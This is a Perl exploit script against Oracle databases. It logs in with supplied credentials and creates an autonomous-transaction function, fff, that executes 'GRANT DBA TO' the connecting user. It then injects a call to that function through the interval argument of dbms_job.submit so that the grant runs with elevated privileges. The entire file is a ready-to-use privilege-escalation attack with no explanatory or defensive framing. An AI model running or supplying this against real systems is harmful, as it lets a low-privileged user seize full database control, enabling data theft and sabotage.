#!/usr/bin/perl
use warnings;
use strict;
use DBI;
use Getopt::Std;
use vars qw/ %opt /;

sub usage {
    print <<"USAGE";
    
Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> [-P <port>]

Options:
     -h     <host>     target server address
     -s     <sid>      target sid name
     -u     <user>     user
     -p     <passwd>   password 

     
    [-P     <port>     Oracle port]

USAGE
    exit 0
}

my $opt_string = 'h:s:u:p:grP:';
getopts($opt_string, \%opt) or &usage;
&usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} );
&usage if ( !$opt{g} and !$opt{r} );
my $user = uc $opt{u};

my $dbh = undef;
if ($opt{P}) {
    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die;
} else {
    $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die;
}

my $sqlcmd = "GRANT DBA TO $user";

print "[-] Creating function...\n";
$dbh->do( qq{
CREATE OR REPLACE FUNCTION fff return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE '$sqlcmd'; COMMIT;
COMMIT;
RETURN 'sys';
END;
} );
 
print "[-] Go...\n";
my $sth = $dbh->prepare( qq{
DECLARE
 jobNo BINARY_INTEGER;
BEGIN
jobNo:=4242;
dbms_job.submit(jobNo, 'do_job;', TRUNC(SYSDATE+(1/24), 'HH'),'TRUNC(SYSDATE+(30/24/60),''MI'') from dual where chr(115)=sys.fff() --');
END;});
$sth->execute;
$sth->finish;
print "[-] Executed\n";
$dbh->disconnect;
exit;